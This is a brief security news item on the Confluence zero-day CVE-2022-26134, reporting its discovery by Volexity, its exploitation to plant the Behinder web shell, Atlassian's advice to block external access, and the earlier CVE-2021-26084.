CVE-2022-26134 Description

The vulnerability in Confluence was first spotted by Volexity just recently, over a Memorial Day weekend. According to the researchers, threat actors leveraged the zero-day injection vulnerability to acquire full system access and plant the Behinder web shell for further malicious actions.

Due to the lack of a patch, Atlassian recommends that administrators ban external access to Confluence servers. Currently, there is no data on cloud-hosted servers being affected by this security hole.

Last August, the company disclosed another critical bug in its product that allowed unauthenticated users to execute arbitrary code on devices with Confluence Server or Confluence Data Center installed. The injection flaw was assigned CVE-2021-26084.
